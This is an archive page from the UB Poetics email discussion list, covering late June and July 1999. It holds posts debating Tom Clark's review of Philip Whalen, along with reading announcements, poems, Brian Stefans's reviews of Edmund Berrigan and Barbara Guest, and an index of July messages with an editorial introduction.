Steve Vincent is being diplomatic in not saying that "the Chronicle critic" is Tom Clark (whom I presume must think it to have been a warm, generous and positive review of his one-time neighbor on the mesa). Whalen's counter-careerism certainly has been a factor, and Steve's right about Rexroth and Dahlen also. But I'd add Bob Grenier and even Joanne Kyger to that list. All folks who deserve to be read closely (and widely).

Ron

"There was a downer review of Whalen's new Penquin collection (with intro by Leslie Scalapino) in yesterday's San Francisco Sunday Chronicle Book Review. I

am not sure what the Chronicle critic was trying to perform other than he somehow missed and hardly gave a clue to the rich and various brilliance(s) of Whalen's work. While this work has fortunately managed to get published over the years, Whalen remains a wry counter-careerist which unfortunately has kept the poems from larger public assessment, celebration and/or review. Maybe obscurity is part of the character structure of some West coast giants. Kenneth Rexroth (who was very public) had a paranoid streak that caused him to slash every critic who crossed the horizon, leaving him dismissed from any real consideration in the modernist Canon. Retrieval efforts to recognize his work remain ongoing. Then there is Beverly Dahlen in hermetic, apparently quite non-careerist retreat. Lyn Hejinian (gratefully) (among a few others) for example, seems to have figured it out - keeping her generous critical mind and creative work at the public forefront - east, middle and west. Well, I diverged from my original intent. I'm pissed off at the Chron review. Which is to ask, has anyone read a good, substantial review of Whalen's new Collected? Cheers, Stephen Vincent"

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278. Camille Martin
funky butt
Tue 29 Jun 1999

If any of y'all are gonna be in the Big Easy the next few days, please come to this reading!

L I V E A T T H E F U N K Y B U T T

Joel Dailey
and
Camille Martin

Joel Dailey's numerous chapbooks include _Release Window_ (Semiquasi Press) and _Public Storage_ (Tight Press). His collection _Lower 48_ (Lavender Ink) was recently unleashed.

Camille Martin is the author of _Plastic Heaven_ (Fell Swoop) and the forthcoming _Magnus Loop_ (Chax Press) and _Sesame Kiosk_ (Lavender Ink).

9 pm, Tuesday, July 6
714 N. Rampart St.
New Orleans

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279. john coletti
Berrigan Sightings
Tue 29 Jun 1999

Does anybody here know if Edmund Berrigan is giving a reading for his new book this weekend in San Francisco? & if so where & when?

Thanks,
John Coletti

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280. Lowther,John
burnt epistles
Tue 29 Jun 1999

tony green wrote;

"...there were rumours (just rumours) not long ago of Italian mail service getting so overloaded that tons of mail was burned to speed delivery up a bit."

& it made me think of nepal
in 1990
during the riots
when none of our mail was being delivered
and i went with a friend to see
if we cd collect it from the p.o.

it was closed

around back we found many
huge piles of ash
with the odd corner of an envelop
here and there

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281. George Bowering
Re: burnt epistles
Tue 29 Jun 1999

> *tony green wrote;*
>
> *"...there were rumours (just rumours) not long ago of Italian mail service getting so overloaded that tons of mail was burned to speed delivery up a bit."*

I saw a TV news programme with footage of such a thing being done in the late seventies in Italy. It involved little forklifts and bulldozers. At the time I thought: why cant this procedure be instituted for poetry?

George Bowering.

,

fax: [redacted]

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282. David Kellogg
Would the real Tom Clark please stand up?
Tue 29 Jun 1999

The reviews in Jacket and the SF Chronicle are exactly the same, aside from formatting

Cheers,
David
~~~
~~~

speak a phrase, somehow, perhaps unwittingly, happen upon an arrangement of words in writing or speech, as one does, that struck him, and he would excitedly explain what struck him. then he would credit you for finding. it wasn't encouragement, it was commitment. to Poetry, which seems such a flat statement as I type. the job at hand. recording his young daughter's Figures of Speech, found things. he made use of a hallway lined with cork bulletin boards, usually devoted to student artwork. carefully pinned 5x8 cards along the entire length, each card containing one poem (later to become Sentences). he asked, what will I do with these, his pile of 5x8 cards. a word gallery.

could go
quiet any time

he arranged for Larry Eigner to read at the school. informally gathered around a couple of cafeteria tables, but an event nonetheless. if you want to call that a gesture (which it wasn't, it was interest, it was genuine), then call it a generous one. could we call Robert Grenier a pioneer? with the idea that pioneers walk forth with or without paths. 'career' simply describes his path. just responding to, seconding, Ron Silliman's push of RG.

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284. Dale Smith
Re: Whalen
Tue 29 Jun 1999

If anyone is really interested in reading this "downer" review of Philip Whalen by Tom Clark, you can browse:

www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1999/06/27/RV105857.DTL.

Tom's review in Jacket, or a 1996 review in the SF Chronicle of Whalen's Canoeing Up Cabarga Creek might seem more "generous and positive" to those used to book reviews reading like PR blurbs rather than critical engagements with poetry.

> *Steve Vincent is being diplomatic in not saying that "the Chronicle critic"*
> *is Tom Clark (whom I presume*
> *must think it to have been a warm, generous and positive review of his*
> *one-time neighbor on the*
> *mesa). Whalen's counter-careerism certainly has been a factor, and Steve's*
> *right about Rexroth and*

> *Dahlen also. But I'd add Bob Grenier and even Joanne Kyger to that list. All*
>
> *folks who deserve to be*
>
> *read closely (and widely).*
>
> *Ron*
>
> *"There was a downer review of Whalen's new Penquin collection (with intro by*
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> *Leslie Scalapino) in yesterday's San Francisco Sunday Chronicle Book Review.*
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> *I am not sure what the Chronicle critic was trying to perform other than he*
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> *somehow missed and hardly gave a clue to the rich and various brilliance(s)*
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> *of Whalen's work.*
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> *While this work has fortunately managed to get published over the years,*
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> *from larger public assessment, celebration and/or review. Maybe obscurity is*
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> *part of the character structure of some West coast giants. Kenneth Rexroth*
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> *(who was very public) had a paranoid streak that caused him to slash every*
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> *critic who crossed the horizon, leaving him dismissed from any real*
>
> *consideration in the modernist Canon. Retrieval efforts to recognize his*
>
> *work*
>
> *remain ongoing. Then there is Beverly Dahlen in hermetic, apparently quite*
>
> *non-careerist retreat. Lyn Hejinian (gratefully) (among a few others) for*
>
> *example, seems to have figured it out - keeping her generous critical mind*
>
> *and creative work at the public forefront - east, middle and west.*
>
> *Well, I diverged from my original intent. I'm pissed off at the Chron*
>
> *review.*
>
> *Which is to ask, has anyone read a good, substantial review of Whalen's new*
>
> *Collected?*
>
> *Cheers,*
>
> *Stephen Vincent"*

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285. **Kevin Magee**
Re: gratitude toward authors
Tue 29 Jun 1999

T H I N K I N G O F Y O U

[think/thank = denken/danken Dankbarkeit f(--;) gratitude
Denkarbeit f(--;) brainwork] "Du mußt dein Leben ändern."

There is a question to ask. Or has it been asked as it has always been asked, indirect and artificial and abstract: "Who's there?"

Is it the parrot in the opening paragraph of Toni's JAZZ that says. (The snow she ran through so windswept she left no footprints).

Who has the right to take down a road of no return, if the time has come to ask what poetry is for, a form "for love," or love

of form? Is it "just between us" or is it a fist raised in the face of the world (Mexico City, Olympics, 1968). Power and Protest.

Or conversational intimacy, material taste of one who can withstand my ideality of the empirical presence as condition to the possibility

of making any art at all, someone other than my propaganda? There is an art that brings into existence in its strictest sense

its maker's signature, and it trusts its news. Deleuze's glass bird that eyes the Sarajevos of destroyed relations, dominating.

"Defense or attack?--he asked, as if the military operations had been taking place just outside London. This was written in April 1871: THEY SHOULD HAVE MARCHED ON VERSAILLES. (Lenin, Preface to the Russian Translation of Marx's Letters). The Regents of the University of California, copyright 1977: "[W]ithin--or between-these texts of Marx . . . a strange theoretical novel . . . in the comedy of dialectic . . . into the conceptual orbit of Eros . . . Marx (Engels, Lenin), the Commune--in which is condensed a maximum of 'dreamwork,' of 'unconscious,' of 'the repressed'--to cathect the term STATE . . ."

The philosopher thinks outside the rectitude of the propagandist, the one who hawks the News, the question of every art's use or usefulness--how can it be made more harmful, to whom or what can it do the most harm?

Robin at New College Chapel, Friday, June 20, 1986: "I would love to do that to all of you, I even thought of it. I thought well we'll just ask everyone in this

audience to write a blasphemy. I wonder how many of us even know what to blaspheme."

P R O P A G A N D A B E M Y B E A T R I C E !

Philosophy, you who would be with me, be with me
One and the Same, speak to me a little, draw me back from Error.

Wrongly understood and wrongly posed, I am wrong as I am wronged. There is, somewhere, a simple "there is." I l y a.

There is a world that exists only in the expression on our faces, not the words for them, even if the words are Wittgenstein's.

There is an area ab that belongs equally to a and b, a neighborhood, vicinity, "zone de voisinage," area of a point, or point to be made,

ideology according to its neighborhood. I l l y i c h.
This is a wall where everything holds together along hard,

sharp lines. There is no point in asking am I right or wrong. My propaganda is positional. Affect infused with a proper name

solidifying the historical nature of its link to speaking tools. In the Parmeides the One is two. They pass into one another. The "I" and the "Other," 'soi par soi,' inseparable, exterior.

Conceptual personae, your pseudonyms serve a secret singularity whose "I" defers all meaning, until our meeting, made necessary, where truth will serve the function of making us more than imaginary.

↑ Index

286. Thomas Bell
Re: Philip Whalen
Tue 29 Jun 1999

Vincent,

I have to disagree about the introduction. I think it did a great job of describing a poetics of hypertext by someone 20 years ahead of his time.

Now I'll admit my abysmally poor cultural knowledge: I would like to know who wrote _Tha Art of the Fugue_ mentioned there, Leslie if you are on the list or anyone please bc.

tom bell
[redacted] wrote:
>
> Hi Stephen, The man that reviews poetry

--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
 LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

↑ Index

287. **Leonard Brink**
Announcement, Windhover #3
Wed 30 Jun 1999

Windhover #3 is now on-line at
http://home.sprintmail.com/~windhover
and features poetry by:
Paul Hoover
Ray Ragosta
Craig Watson
Maxine Chernoff
Sheila E. Murphy
Spencer Selby
Jeffrey Jullich
Cole Swensen
Joe Noble & Avery E.D. Burns
Henry Gould

ENJOY!

↑ Index

288. **Bob Grumman**
Re: Philip Whalen
Wed 30 Jun 1999

Stephen Vincent wrote:
>
> There was a downer review of Whalen's new Penquin collection (with intro by
> Leslie Scalapino) in yesterday's San Francisco Sunday Chronicle Book Review.
> I am not sure what the Chronicle critic was trying to perform other than he
> somehow missed and hardly gave a clue to the rich and various brilliance(s)
> of Whalen's work.
> While this work has fortunately managed to get published over the years,

> Whalen remains a wry counter-careerist which unfortunately has kept the poems
> from larger public assessment, celebration and/or review. Maybe obscurity is
> part of the character structure of some West coast giants.

Maybe. But at least he got a review in the Chronicle. Think of all the poets better than Whalen who'd never be able to get even that.

--Bob G.

↑ Index

289. Lawrence Upton.
(no subject)
Wed 30 Jun 1999

The next Sub Voicive Poetry event is at The Three Cups, Sandland Street, London WC1 at 8 pm on 6th July 1999 when Elizabeth James and Patricia Farrell read. I tell you this because

The Sub Voicive Poetry website has been taken down in view of Yahoo / Geocities claim to have copyright in its contents. It's a pity because in terms of the programme list and documentation it was as up to date as possible and not far behind in other areas. . All that was there was information on current readings, documentation of the last six or seven years and the texts of introductions: nothing to make a million from. But the manner in which this change was swung is outrageous and SVP has joined the boycott.

It will be up again in a few days, perhaps a day, once a new site has been set up and the geocities scripts have been stripped out.

↑ Index

290. Brian Stefans
Edmund Berrigan, Barbara Guest
Wed 30 Jun 1999

Speaking of reviews, here are a few things I wrote for a trade journal that were altered completely (mostly cut) prior to their publication. But I have permission to "publish" the original versions, so voila.

Edmund Berrigan, Disarming Matter
0-9669430-07, The Owl Press

"I have a desire to transcend conscious speech / not to the exclusion of words or letters, / it is not a scholarly wish, must be removed / from the present past future inclusive everything / beyond understanding," writes Berrigan in "The

Orbit Room" (76). While not always so heady, the underlining feature to this debut volume

— ranging in tone from the beat goofiness of a Gregory Corso to the Symbolist-tinged collages of early Ashbery, from the rich dailiness of a Bernadette Mayer to the more heated "boheme" of Rimbaud — is a negotiation between the dream-like irrealities of daily life, a polyvalent sexuality that is not out of tune with much Gen X flirtation with extremes, and a figure called "God" who occasionally drops in as something like a placeholder for the channel to the "other" world. The beautiful long sonnet sequence "Cross House" is a mysterious affair, like a traipse through a virtual haunted mansion, with figures of love and desire teaming among the threat of limitless possibility: "The persons I have seen in patterns / were so torn as to be absolute traips / [...] She had never seen him trusted above all / earthly things. They were leaning on the / screen before the fire. 'You bear your / wrongs more gently than I can bear / mine.' He bent over the group / in a caressing way, with renewed violence." (54) The quiet surety of Berrigan's meters are perfect for the wavering between "violence" and the "caress," and he resembles a 17th century methaphysical — Herbert the closest — in his decorous rhetoric, which he dons most strongly when asking the "big questions": "I have something, a major contribution / to the record of life, in a world winter-obscene, that / works with fingers peel back a series of inventions / for mortality. Armchair comfortable for those who desire it. / Absence from the physical being as strong a security as any." (34) These are big issues for such a poet in his mid-twenties, one who, consequently, never takes himself too seriously, and is as pop-sensible, funny and crazily improvisatory as any grunge lyricist: "I am a heartfelt bulging crotch / when I take on the swiss initiative / [...] I made love to Nico a lot, I dug her a lot / it was like hanging out with a guy except / she had girl pants." (16) This combination of addresses to the higher powers with a mischievous running-with-the-disaffecteds of the present makes Berrigan a Hamet-like figure for the nineties -- not the highbrow of Eliot, but a thoughtful, late-century rebel engaged in his deep, "irrational" discourse with Yorick while the world only dreams.

Barbara Guest, Rocks on a Platter
0-8195637-22, Wesleyan

Rocks on a Platter is a book-length work by a poet who has, over the past decade or more, increasingly come to be seen as a major force in innovative poetics. Guest is often associated with the “New York School” of poets (Ashbery, O’Hara, Schuyler) but is traditionally overlooked by chauvanistic scholars preferring a homogenized version of the literary/art nexus of activity in Manhattan in the 50’s and 60’s -- notably David Lehman in his recent history The Last of the Avant Garde. It appears that she may have the last laugh, as

the yet-living poets of that group have retreated into blase irony and, occasionally, the poetic equivalent “pot-boilers,” while Guest has forged onward with her near-flawless ear and synaesthetic eye for word values, in the process breaking down her syle into a more spare, but never less than rich, idiom, for which she has come to be praised. As if echoing Ashbery, the poem starts: “Ideas. As they find themselves. In trees?” but nonetheless moves on to a declaration of intent peculiar to herself, finding “Dreams set by / typography. A companionship with crewlessness...” Though the figure of Rimbaud doesn’t appear in this work -- Shelly, Byron, H.D., Ovid, and Eliot are among the figures inescapably alluded to -- Guest displays a “taste only for earth, and rock,” as her carved jewels of word-clusters illuminate the white space: “Pockets jingle highly responsive place in the shelter / of those rocks at last the jingle of your pockets / HEARD ON THE PAGE.” Time, presence, the ability of the eye to create time out of word patterns, are perhaps the central subjects here -- though she writes blankly “suspicious / of fragmentation” this poem is highly “fragmented,” though joined symphonically in the play/space of the page as “score” -- a concern that exhibits itself in what can be read as commentary on the poem itself, making this an essay in poetics as much as an epistomological cat-and-mouse. “Without shyness or formality /// ‘a gesture of allowing oneself time’” she writes (the immense white space between these spaces, where this gesture occurs, cannot be reproduced here), and later: “‘flotsam of the world of appearances’ / drifting by and out of the picture,” pointing to a Herecletian, but also defiantly feminine (i.e. non-determinate both rhetorically and ideolectically) poetics. This is a very approachable book by a poet who is bound to show you something you didn’t know was possible in American poetry, though the French may have been trying to tell us this for some time: that the whiteness of the page can be radiant.

↑ Index

291. Elizabeth Fagin

Leroy Chapbook Series

Wed 30 Jun 1999

Announcing the publication of Cartographies of Error by Rachel Levitsky (4$, 39 pages, hemp leaf spine binding), book one of the LEROY chapbook series, edited and published by Renee Gladman. LEROY books feature original prose works and serial poems by emerging innovative writers. Forthcoming authors in the 1999 series are Summi Kaipa, Roberto Tejada, and Hoa Nguyen. Send all correspondence to Renee Gladman c/o 3180 18th Street, Suite 201, San Francisco, CA 94110 or [redacted] <mailto:[redacted]> . Subscriptions are available.

***For those in the San Francisco area, Rachel Levitsky and Summi Kaipa will read on July 6th (Tuesday) at Modern Times Bookstore at 7:30 p.m. Modern Times is located on Valencia Street (in the Mission) between 19th and 20th streets. Cartographies of Error will be available on the night of the reading.

> *From Cartographies of Error*

Coney Island
after Cesar Vallejo

I'll die drinking
I remember it already
in Paris, slow, maybe Peoria, or Brooklyn
on a Thursday, like today, in fall or

I'll die on a Thursday, maybe today,
thursday promises poems while the
bad humors pass me by
to join other bad and, like never before,

I have returned
with all my cards, my ways
and means, and smiles
to see myself alone.

You see I have died,
they fought me
I did nothing--they gave it to
me hard with a stick and hard

With a story;
without testimony

on Thursdays, bleached bones

solicitude, stone stoops, the rides. . .

↑ Index

292. Poetry Project
summer announcements
Wed 30 Jun 1999

Well, today is our last day in the office for two months. The best way to reach us is via regular mail. We recommend not e-mailing us until September, when we re-open.

But still feel free to visit our web site, especially as there's work by

L.S. Asekoff
Eddie Bell
Merry Fortune
Josie McKee
James Wilk

brandly new up at http://www.poetryproject.com/poets.html/

and also, there are new and exciting pictures at the Tiny Press Center, so now you can see what some of those teeny publications look like: http://www.poetryproject.com/mention.html/

Readings will begin again in October with Anselm Berrigan coordinating the Monday Night Series, Mitch Highfill coordinating the Wednesday Night Series, and Regie Cabico coordinating the Friday Night Series. The new Newsletter Editor is Katherine Lederer.

If you have any questions, we'll be here until 5 pm. After that, we will be:

a) home, sleeping
b) at the beach
c) climbing Mt. Everest, or, excuse us, K2
d) in the New York Public Library's reading room

Have a great summer and see you in the fall!

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

July 1999

363 messages · Wed 30 Jun 1999 – Fri 30 Jul 1999

The summer's great news reached the list in July and went, remarkably, almost unremarked: a small plane went down off Martha's Vineyard on the sixteenth carrying John Kennedy's son, and the room that had spent June on Kennedy's inauguration barely looked up. It was busy instead with a scandal fifty years old. The 1949 Bollingen Prize, awarded to Ezra Pound for The Pisan Cantos while their author sat in a Washington cell indicted for treason, had come round again as the list's central preoccupation, and it dragged the whole ugly question behind it: what does one do with the great art of a compromised man?

The thread was long, learned, and genuinely divided. John Tranter posted the archival history of the prize; Michael Bibby, at work on African-American poetry of the same years, said the arguments touched *"issues of concern to me"*; and Mark Weiss offered the formula the whole debate kept circling — *"The work is not the man,"* and neither, he added, is the prize the work. No one settled it, because it does not settle.

Inevitably the argument spread to William Carlos Williams, when Kent Johnson pressed the case that Williams too had his prejudices, as robustly as Pound and Eliot. Michael Magee pushed back hard — not to exonerate anyone, but to insist that flattening three very different men into a single charge means *"one loses all sense of particulars,"* that the moral work is precisely in the distinctions. It was the list at its most serious: refusing both the whitewash and the blanket indictment, trying to hold a poet's failures and his gifts in the same hand.

For relief there was, of all things, the mailbag. A sprawling thread under the running title SUBMISSION IMPOSSIBLE set editors and submitters against each other over cover letters, simultaneous submissions, and the etiquette of rejection; John Lowther, surveying the crossfire, summed it up: *"this is a curious thread,"* and it only grew. After the moral weight of Pound, there was something restorative in watching poets argue about postage.

Underneath the noise, a quieter injustice went nearly unnoticed. Philip Whalen — the great Zen poet of the original San Francisco circle, whom Stephen Vincent described as *"at the near end of his life"* — had been handed a limp, ambivalent review in the San Francisco Chronicle, and Vincent and John Coletti rose to defend him with real heat. There was an irony the list did not quite name: that it could spend a hundred posts litigating a prize handed out in 1949 while a living

master, still writing, went undervalued in the Sunday paper. I have kept Pound’s long trial and Whalen’s brief notice side by side, because that is how July argued — passionately about the dead, and only just in time about the living.

— Kristen M. Fabians

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156. katy — Re: Submission Crucible
157. Mike Kelleher — a l y r i c m a i l e r 12
158. Maria Damon — Re: bard conf
159. Stephen Vincent — Re: Williams Tombstone Sweepers etc.
160. Robin Kemp — My new chapbook! (Shameless plug)
161. jarnot — address query
162. Brian Lennon — Re: Submission Crucible
163. Juliana Spahr — Re: POETICS Digest - 10 Jul 1999 to 11 Jul 1999 (#1999-133)
164. Stephen Ellis — Re: soapbox of submission
165. Mark Wallace — tracking Brenda Coultas and Gillian McCain (fwd)
166. KENT JOHNSON — The good doctor on circumcision
167. Billy Little — Re: Williams's tomb sweepers
168. Elizabeth Treadwell — Re: SUBMISSION IMPOSSIBLE
169. Alan Sondheim — (no subject)
170. A H Bramhall — A Party For Ted
171. Balestrieri, Peter — Name That Quote
172. Karen Weiser — Re: Submission Crucible
173. KENT JOHNSON — (Fwd) WCW [from E. Weinberger]

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174. Todd Baron /*/ ReMap Readers — Re: Meow Press is Moving!
175. Jeffrey Jullich — Re: Submission Crucible -Reply
176. Pierre Joris — URGENT: Staff are being cleared from KPFA station, arrests are being made!]]
177. geraets — Under New Management: NZ's new writing
178. Ron Persons — Re: submission guidelines
179. Douglas Barbour — Re: ordering Carnivocal
180. Michael Magee — Re: (Fwd) WCW [from E. Weinberger]
181. KENT JOHNSON — Purity
182. Ryan Knighton, Editor — Re: Submission Crucible
183. Carol L. Hamshaw — Re: SUBMISSION IMPOSSIBLE
184. Michael Boughn — Re: The good doctor on circumcision
185. Richard Dillon — Re: soapbox of submission
186. Taylor Brady — Re: URGENT: Staff are being cleared from KPFA station, arrests are being ma...
187. Maria Damon — Re: Williams Tombstone Sweepers etc.
188. joan houlihan — Schizophrenic Chickens
189. Judy Schwartz — Re: COPE'S OPPEN---
190. Tisa Bryant — Contact Info for Tan Lin

191. Tony Green — Re: partly Jewish writers
192. Hamish John Dewe — Re: Under New Management: NZ's new writing
193. Patrick F. Durgin — Re: Submission Crucible
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198. Grant Jenkins — E. Weinberger and snobs
199. Brian Stefans — PS on Williams
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202. A H Bramhall — When The Invitation Arrives
203. A H Bramhall — An Expert On New Jersey
204. Mark Weiss — Re: Williams Tombstone Sweepers etc.
205. Mark Weiss — Re: PS on Williams
206. Julie Johnson — Duration: A Journal of International Poetry; Issue One now online
207. Mark Weiss — Pound and the Nobel Prize
208. Judy Schwartz — Re: COPE'S OPPEN---
209. rebecca wolff — fence new issue site
210. Alan Sondheim — (for ANC and NP)

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215. Stephen Ellis — Manifest Destiny
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217. Jamie Perez — submissions w/rejections
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219. Pritchett,Patrick — Re: Name That Quote
220. W. Freind — Subscriptions, submissions, etc.
221. hassen — Million Artist March
222. peter neufeld — Email address request
223. Jordan Davis — Re: Pound and the Nobel Prize
224. Al Filreis — Re: Pound and the Nobel Prize
225. Balestrieri, Peter — Re: George Bowering on Name That Quote
226. Mark Weiss — Re: Manifest Destiny
227. Jordan Davis — Re: Pound and the Nobel Prize
228. Michael Magee — Re: PS on Williams
229. peter neufeld — Re: Pound and the Nobel Prize
230. Joan Houlihan — Re: Pound and the Bollingen Prize
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233. John Tranter — Ezra Pound and the Bollingen Prize for Literature, 1949.
234. Stephen Cope — Re: The Germ
235. A H Bramhall — Exactly This
236. David Baratier — Re: Submission Crucible
237. Alan Sondheim — Error-Message
238. Hugh Nicoll — wr-eye-tings list

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241. juliana spahr — request for horror stories involving work sent to aca journal
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244. Hamish John Dewe — Re: Not all salt is NaCl
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249. Michael Franco — BOSTON LAST CALL BOSTON!!!!!!
250. Brian Stefans — What to do with all this Real?
251. Thomas Bell — asylum
252. Poetics List Administration — Book by Palmer/Bernstein? / Ron Persons
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254. Mark Weiss — Re: Pound and the Bollingen Prize
255. Mark Weiss — Re: What to do with all this Real?
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261. KENT JOHNSON — Complexity and anti-Semitism
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265. George Bowering — Re: Okay Corrall
266. Ramez Qureshi — Re: PS on Williams
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270. Michael Magee — Re: Pound/Bollingen
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272. Lowther,John — Junkyard Poetics
273. Julie Johnson — Re: Mused and Beatriced
274. Chicago Review — New Chicago Review
275. Steven Shoemaker — WCW's map of pleasure & pain
276. Stephen Ellis — Re: Manifest Destiny
277. KENT JOHNSON — Poets on Verge of Breakdown
278. pete spence — Re: Hannah Weiner's COUNTRY GIRL and sundry items
279. Jeffrey Jullich — The Germ no.3 -Reply
280. Julie Johnson — addresses needed...

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281. Stephen Cope — Germ Addresses
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283. Brian Stefans — (no subject)
284. Maria Damon — query
285. Brian Stefans — Correction
286. Mark Prejsnar — Presenting, 3-Hand john & His junkyard Dawgs...
287. Mark Weiss — Re: Manifest Destiny
288. Mark Weiss — (no subject)
289. Carolyn Guertin — Re: query
290. Michael Magee — Tisa Bryant's question re WCW

291. Mark Wallace — SITUATION #19 is now available
292. Dodie Bellamy — persona
293. Richard Dillon — Re: WCW's map of pleasure & pain
294. David Buuck — Attacks on camp KPFA
295. Michael Neff — ACLU case in Detroit
296. Alan Sondheim — (no subject)

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297. Parks — Action Appeal
298. Joan Houlihan — Re: Pound and the Bollingen Prize
299. Joan Houlihan — Re: PS on Williams
300. charssmith — Arcturus Editions: Pat Reed
301. Susan Wheeler — 1999 Books

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302. Tenney Nathanson — contact info for Robin Blaser, Harryette Mullen
303. pete spence — Re: the ELBURG BOOK
304. Stephen Cope — Beyond the Page
305. Jeffrey Jullich — $3.50: Summer vacation in Scandinavia!
306. david bromige — RADIO STATION KPFA, BERKELEY
307. Lowther,John — Re: pointless questions(ANSWERS)
308. Dodie Bellamy — Changes at Small Press Traffic
309. KENT JOHNSON — Modernists in the basement
310. Ramez Qureshi — Ribot Query
311. Ron Starr — Diastic Reading (Yet More Ways to...)
312. A H Bramhall — Dust My Broom
313. KENT JOHNSON — Jaime Saenz

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314. Alan Sondheim — Vito Hannibal Acconci
315. A H Bramhall — The Whole World's In An Uproar
316. Charles Bernstein — List Down til Monday

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317. Jill Stengel — august 8 reading--sf, ca
318. Jim Rosenberg — (Fwd) WEB DOC(K)S
319. Michael Neff — Electronic Literary Arts Newsletter (ELAN) #1

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320. Terry Diggory — WCW Australia/NZ
321. david bromige — three things : a reading; a redundancy; a resource
322. Balestrieri, Peter — Paul Metcalf

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323. Lawrence Upton. — 4th SV Colloquium
324. Eugene Ostashevsky — DADAFEST

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325. Poetics List — poetics restart
326. Poetics List — Evans-Impercipient query
327. Brian Stefans — Re: Pound and the Bollingen Prize
328. Maria Damon — Re: query
329. Pritchett,Patrick — Re: 1999 Books
330. Taylor Brady — Re: RADIO STATION KPFA, BERKELEY
331. KENT JOHNSON — WCW on women
332. Stephen Vincent — Re: RADIO STATION KPFA, BERKELEY
333. Jamie Perez — Petrarch meet Mr. Newton
334. Robert Freedman — Re: 1999 Books

335. Brian Stefans — Re: persona
336. Todd Baron /*/ ReMap Readers — Re: 1999 Books
337. Parks — Action Appeal 2

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338. George Bowering — Re: Manifest Destiny
339. George Bowering — Re: $3.50: Summer vacation in Scandinavia!
340. George Bowering — Re: 1999 Books
341. Owen Hill — Re: 1999 Books
342. Owen Hill — Re: Action Appeal 2
343. Owen Hill — Surrealist Women
344. Steven Shoemaker — Re: Modernists in the basement
345. Tom Orange — new OPEN LETTER available
346. Poetics List — Poem on 'good things about turning 80' / Chapman
347. Poetics List — Strings, new Flash work at Vispo by Dan Waber / Andrews
348. Poetics List — Naropa from a distance
349. Jordan Davis — take a left at Constructed-identity
350. Mark Weiss — Re: 1999 Books
351. Julie Johnson — best books of 99 (so far...)
352. derek beaulieu — Re: 1999 Books
353. William Slaughter — Mudlark Poster No. 18 (1999)

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354. hassen — Re: WCW on women
355. komninos zervos — Re: 1999 Books
356. jasfoley — Jack Folie
357. Noam Scheindlin — NYC SUBLET
358. Brian Stefans — Modernists in the basement
359. Stephen Vincent — Re: Joanne Kyger
360. Joan Houlihan — Re: Pound and the Bollingen Prize
361. Aldon Nielsen — Gloria Tropp
362. Poetics List Administration — list stats
363. Poetics List Administration — Re: Poem on 'good things about turning 80' / Safdie

1. Lawrence Upton.
(no subject)
Wed 30 Jun 1999

The Sub Voicive Poetry web site has moved from its Yahoo (sic) site to

http://www2.crosswinds.net/members/~subvoicivepoetry/

the transfer of files is not quite complete, but the latest programme info is there, and the documentation of past readings that has already been published. Introductions etc still have to be uploaded. The index is as it was last March with some of the entries indexed not uploaded. The process should be finalised within days. . There is a what's new page now to guide you to new sections. At the moment it is being used to log the progress of the upload of the *updated and *improved site - progress is ahead of the report

The svp telinco address is defunct. The geocities mainstream address may or may not function but you are asked not to use it. Direct any svp to editor@[redacted] or to this account

Thank you

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2. john coletti
Re: Whalen
Wed 30 Jun 1999

This review got my goat when I first read it a month or so ago on Jacket. It is ambivalent, prodding, & terribly uninspired. How was this review (which appears to be the same one from the Chronicle)put together? Every complement is countered by a neutral or negative bit of language. Weighted down by "the patient reader," "certain obsessive themes," "finicky," "generalizing," "odd," and so forth, this review appears to be trying to pass off as a positive one while seeding itself with vague & underlying resentment. Clark describes Whalen's writing as "disarmingly self-deflating comedy" without giving any sort of an enthused explanation as to why this very truth can bring about some of the best comic writing around. In the end, one gets the feeling that Tom Clark just dashed this one off to the presses. If he disliked the book then so be it. Say so. If he really felt that this "self-deprecating hipster-bodhissatva, wine glass and joint at the ready...remains perhaps the finest comic creation of the Beat era." then he sure made a lousy, shlocky stab at doing so. This selection was, in my opinion, one of the very best pieces of literature I came across this year. Whalen's writing deserves a better review than the limp & inchoate one that the Chronicle served up. I mean, count the words with typically negative connotations, and then read the review again.

Inititally, I thought it was a positive review. Feeling somehow uneasy, I read it again. I don't think I would have picked the book up if I had simply read this review at face value without having already known of Whalen's writing and of this book specifically. For some, this will be a true shame.

John Coletti

> *From: Dale Smith <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: Whalen*
> *Date: Tue, 29 Jun 1999 22:40:28 GMT*
>
> *If anyone is really interested in reading this "downer" review of Philip Whalen by Tom Clark, you can browse:*
>
> *www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1999/06/27/RV105857.DTL.*
>
> *Tom's review in Jacket, or a 1996 review in the SF Chronicle of Whalen's Canoeing Up Cabarga Creek might seem more "generous and positive" to those used to book reviews reading like PR blurbs rather than critical engagements*
> *with poetry.*
>
> *Steve Vincent is being diplomatic in not saying that "the Chronicle critic"*
>
> *is Tom Clark (whom I presume*
>
> *must think it to have been a warm, generous and positive review of his*
>
> *one-time neighbor on the*
>
> *mesa). Whalen's counter-careerism certainly has been a factor, and Steve's*
>
> *right about Rexroth and*

Dahlen also. But I'd add Bob Grenier and even Joanne Kyger to that list. All

folks who deserve to be

read closely (and widely).

Ron

"There was a downer review of Whalen's new Penquin collection (with intro by

Leslie Scalapino) in yesterday's San Francisco Sunday Chronicle Book Review.

I am not sure what the Chronicle critic was trying to perform other than he

somehow missed and hardly gave a clue to the rich and various brilliance(s)

of Whalen's work.

While this work has fortunately managed to get published over the years,

Whalen remains a wry counter-careerist which unfortunately has kept the

poems

from larger public assessment, celebration and/or review. Maybe obscurity is

part of the character structure of some West coast giants. Kenneth Rexroth

(who was very public) had a paranoid streak that caused him to slash every

critic who crossed the horizon, leaving him dismissed from any real

consideration in the modernist Canon. Retrieval efforts to recognize his

work

> *remain ongoing. Then there is Beverly Dahlen in hermetic, apparently quite*
>
> *non-careerist retreat. Lyn Hejinian (gratefully) (among a few others) for*
>
> *example, seems to have figured it out - keeping her generous critical mind*
>
> *and creative work at the public forefront - east, middle and west.*
>
> *Well, I diverged from my original intent. I'm pissed off at the Chron*
>
> *review.*
>
